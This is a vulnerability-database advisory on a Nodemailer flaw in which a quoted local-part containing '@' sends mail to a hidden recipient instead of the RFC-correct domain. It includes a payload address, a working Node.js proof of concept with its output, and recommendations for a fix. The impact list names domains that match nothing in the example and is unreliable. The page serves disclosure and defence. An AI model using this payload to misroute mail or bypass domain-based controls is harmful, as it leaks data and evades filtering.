Vulnerability Database

328,409

Total vulnerabilities in the database

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer"); let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, }); let mailOptions = { from: '"Test Sender" <your_email@gmail.com>', to: "\"xclow3n@gmail.com x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", }; transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId); }); (async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */); if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; } console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: { address: '"xclow3n@gmail.com x"@internal.domain', local: '"xclow3n@gmail.com x"', domain: 'internal.domain' }

But the email is sent to xclow3n@gmail.com

<img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" />

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.